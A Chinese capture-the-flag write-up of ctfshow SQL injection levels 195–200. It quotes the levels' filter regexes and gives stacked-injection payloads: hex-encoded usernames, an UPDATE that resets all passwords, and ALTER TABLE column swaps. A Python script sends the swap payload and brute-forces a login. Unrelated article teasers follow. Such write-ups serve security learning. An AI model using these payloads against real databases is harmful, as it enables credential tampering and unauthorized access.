ctfshow sql 195-200

news2024/12/23 9:45:05

195 堆叠注入 十六进制

if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

可以看到`没被过滤,select 空格 被过滤了,可以大致估计用堆叠注入

空格用`来绕过

很久没做堆叠了

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

当登录密码正确的时候就可以得到flag,所以现在要更新密码

先在本地测试一下堆叠注入

update`表`set`字段`=密码

select count(*) from users where name='DuZZ';update`users`set`password`=0x313131;

 可以发现所有密码都被改成了111

admin;update`ctfshow_user`set`pass`=111;

但是查询失败了

我们再看一下查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";

因为username没有被单引号包裹

就像这个没有被包裹会报错一下 ,就不是字符串

我们转换成十六进制试一下

发现用十六进制就不用单引号了

同理我们把admin转换成十六进制

发现可以登录成功了

196 select

过滤语句

if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

 还有条件

 if(strlen($username)>16){
    $ret['msg']='用户名不能超过16个字符';
    die(json_encode($ret));
  }

看到别人wp说

其实select没有被过滤

那我们可以使用select,先在本地测试一下

select * from users;select(9);

那我们就可以把这个9作为密码,然后再在密码输入9,就可以登录成功

197 select tables

同理的

看过滤语句,这里用户名长度没有限制了

if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

这里核心就是跟上一题一样

select(1)

那么我们只要password为1 就可以成功查询

那么这里同理

我们如果show tables

然后password就是表名ctfshow_user

那么就会成功

198 alter转变字段

  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

用上一题的也能打通

还有一种方法,通过转变字段实现

我们先在本机操作一下

看下我们本来自己创建的表

现在使用alter命令,把password字段变成a字段

    alter table users change column `password` `a` varchar(255)

然后我们把id字段改为password字段

alter table users change column `id` `password` varchar(255)

我们再把a字段改为id字段

alter table users change column `a` `id` varchar(255)

 

这样我们最终就实现了id与password字段的交换

那么回到题目

我们需要有username和password就可以实现登录

然后我们现在知道username,那么需要知道password

如果实现password与id字段交换,然后我们只需要知道password的id字段

而id字段肯定就是数字,那么可以通过爆破来实现

import requests
url="http://9ecb1c54-5708-48b9-9f05-f0fde09cf80b.challenge.ctf.show/api/"

for i in range(1000):
    if i==0:
        payload={
            'username': "0;alter table ctfshow_user change column `pass` `a` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `a` `id` varchar(255);",
            'password':i
        }
        r=requests.post(url=url,data=payload)
    data = {
        'username': '0x61646d696e',
        'password': i
    }
    re=requests.post(url=url,data=data)
    #print(re.text)
    if r"登陆成功" in re.json()['msg']:
        print(re.json()['msg'])
        break

199 text绕过varchar(200)

这里括号被过滤了

之前的payload还可以

括号被过滤,可以用text代替

0;alter table ctfshow_user change `username` `a` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `a` `pass` text;

然后 username = 0 passwd = userAUTO

200

多了一点过滤没什么影响

if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

之前的payload还是能打通

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1327422.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Week-P2】CNN彩色图片分类-CIFAR10数据集

文章目录 一、环境配置二、准备数据三、搭建网络结构四、开始训练五、查看训练结果六、总结3.1 ⭐ torch.nn.Conv2d()详解3.2 ⭐ torch.nn.Linear()详解3.3 ⭐torch.nn.MaxPool2d()详解3.4 ⭐ 关于卷积层、池化层的计算4.2.1 optimizer.zero_grad()说明4.2.2 loss.backward()说…

SQL---Zeppeline前驱记录与后驱记录查询

内容导航 类别内容导航机器学习机器学习算法应用场景与评价指标机器学习算法—分类机器学习算法—回归机器学习算法—聚类机器学习算法—异常检测机器学习算法—时间序列数据可视化数据可视化—折线图数据可视化—箱线图数据可视化—柱状图数据可视化—饼图、环形图、雷达图统…

油猴脚本教程案例【键盘监听】-编写 ChatGPT 快捷键优化

文章目录 1. 元数据1. name2. namespace3. version4. description5. author6. match7. grant8. icon 2. 编写函数.1 函数功能2.1.1. input - 聚焦发言框2.1.2. stop - 取消回答2.1.3. newFunction - 开启新窗口2.1.4. scroll - 回到底部 3. 监听键盘事件3.1 监听X - 开启新对话…

GPTs | Actions应用案例

上篇文章说道,如何使用创建的GPTs通过API接口去获取外部的一些信息,然后把获取的外部信息返回给ChatGPT让它加工出来,回答你的问题,今天我们就来做一个通俗易懂的小案例,让大家来初步了解一下它的使用法! …

【数字图像处理】实验二 图像变换

图像变换 一、实验内容: 1. 熟悉和掌握利用Matlab工具进行数字图像的读、写、显示等数字图像处理基本步骤。 2. 熟练掌握各种图像变换的基本原理及方法。 3. 能够从深刻理解图像变换,并能够思考拓展到一定的应用领域。…

【Zabbix】使用 Grafana 统一监控展示并对接Zabbix v6

Grafana是开源的可视化工具,支持各类数据源的接入MySQL、PostgreSQL、AWS CloudWatch、Microsoft SQL Server (MSSQL)等;支持丰富的插件生态系统 Bar chart、CloudWatch、Geomap、Jaeger等。以下是grafana的官方网站: Grafana Labs grafana服务端支持在…

Centos 7.9安装Oracle19c步骤亲测可用有视频

视频介绍了在虚拟机安装centos 7.9并安装数据库软件的全过程 视频链接:https://www.zhihu.com/zvideo/1721267375351996416 下面的文字描述是安装数据库的部分介绍 一.安装环境准备 链接:https://pan.baidu.com/s/1Ogn47UZQ2w7iiHAiVdWDSQ 提取码&am…

CUMT--Java复习--泛型与集合

目录 一、泛型 1、概述 2、通配符 3、有界类型 二、集合 1、概述 2、迭代器接口 三、集合类 1、Collection接口 2、List接口 3、Set接口 4、Queue接口 5、Map接口 四、集合转换 五、集合工具类 一、泛型 1、概述 从JDK5.0开始,Java引入泛型类型&…

ARM GIC(四) gicv3架构基础

GICv3架构是GICv2架构的升级版,增加了很多东西。变化在于以下: 使用属性层次(affinity hierarchies),来对core进行标识,使gic支持更多的core 将cpu interface独立出来,用户可以将其设计在core…

谷歌Gemini造假始末

💡大家好,我是可夫小子,《小白玩转ChatGPT》专栏作者,关注AIGC、读书和自媒体。 在过去一年中,OpenAI ChatGPT引发了一股AI新浪潮,而谷歌则一直处于被压制的状态,迫切需要一款现象级的AI产品来…

一文读懂Java中的设计模式——代理模式,以翻译场景举例,特别通俗易懂!

代理模式概念 在代理模式(Proxy Pattern)中,一个类代表另一个类的功能。这种类型的设计模式属于结构型模式。在代理模式中,我们创建具有现有对象的对象,以便向外界提供功能接口。目的:为其他对象提供一种代…

HBase基础知识(二):HBase集群部署、HBaseShell操作

1. HBase安装部署 1.1 Zookeeper正常部署 首先保证Zookeeper集群的正常部署,并启动之: 创建集群启动脚本: #!/bin/bash case $1 in "start"){ for i in hadoop100 hadoop101 hadoop102 do echo----------zookeeper $i 启动----…

TKEStack容器管理平台实战之部署wordpress应用

TKEStack容器管理平台实战之部署wordpress应用 一、TKEStack介绍1.1 TKEStack简介1.2 TKEStack特点1.3 TKEStack架构图 二、kubernetes集群介绍2.1 k8s简介2.2 k8s架构图 三、本次实践介绍3.1 实践环境要求3.2 本次实践环境规划3.3 本次实践简介 四、安装容器管理平台4.1 安装T…

python基础-检测字符串是否含有中文的方法

1. 正则表达式 代码示例如下: import re def contains_chinese(text):pattern re.compile(r[\u4e00-\u9fff]) # 匹配中文字符的正则表达式范围return bool(pattern.search(text))2.unicodedata模块 import unicodedata def contains_chinese(text):for char in…

Codeforces Round 638 (Div. 2)B. Phoenix and Beauty(思维构造)

B. Phoenix and Beauty 这道题目学到的东西: 从给出的数据范围观察,得到一些有用信息(峰哥教的)考虑无解的情况‘ 其实这题考虑怎么操作是比较难的,如果能想出来满足条件的结果就比较好了(我在说什么我自…

力扣题:高精度运算-1.1

力扣题-1.1 [力扣刷题攻略] Re:从零开始的力扣刷题生活 力扣题1:67. 二进制求和 解题思想:将数组进行遍历相加即可 class Solution(object):def addBinary(self, a, b):""":type a: str:type b: str:rtype: str""…

java开发面试:常见业务场景之单点登录SSO(JWT)、权限认证、上传数据的安全性的控制、项目中遇到的问题、日志采集(ELK)、快速定位系统的瓶颈

单点登录(SSO) 单点登录,Single Sign On(简称SSO),只需要登录一次,就可以访问所有信任的应用系统。 如果是单个tomcat服务,session可以共享,如果是多个tomcat,那么服务s…

count(*)、count(1)、count(column)的区别

count(*)、count(1)、count(column)的区别 count(*): 返回检索到的行数,无论是否含有NULL值,在InnoDB下,仅计算当前事务可见的行,通过遍历最小的可用二级索引来处理count(*),除非索引或优化器指示优化器使…

阿里云林立翔:基于阿里云 GPU 的 AIGC 小规模训练优化方案

云布道师 本篇文章围绕生成式 AI 技术栈、生成式 AI 微调训练和性能分析、ECS GPU 实例为生成式 AI 提供算力保障、应用场景案例等相关话题展开。 生成式 AI 技术栈介绍 1、生成式 AI 爆发的历程 在 2022 年的下半年,业界迎来了生成式 AI 的全面爆发&#xff0c…

深信服技术认证“SCSA-S”划重点:命令执行漏洞

为帮助大家更加系统化地学习网络安全知识,以及更高效地通过深信服安全服务认证工程师考核,深信服特别推出“SCSA-S认证备考秘笈”共十期内容,“考试重点”内容框架,帮助大家快速get重点知识~ 划重点来啦 *点击图片放大展示 深信服…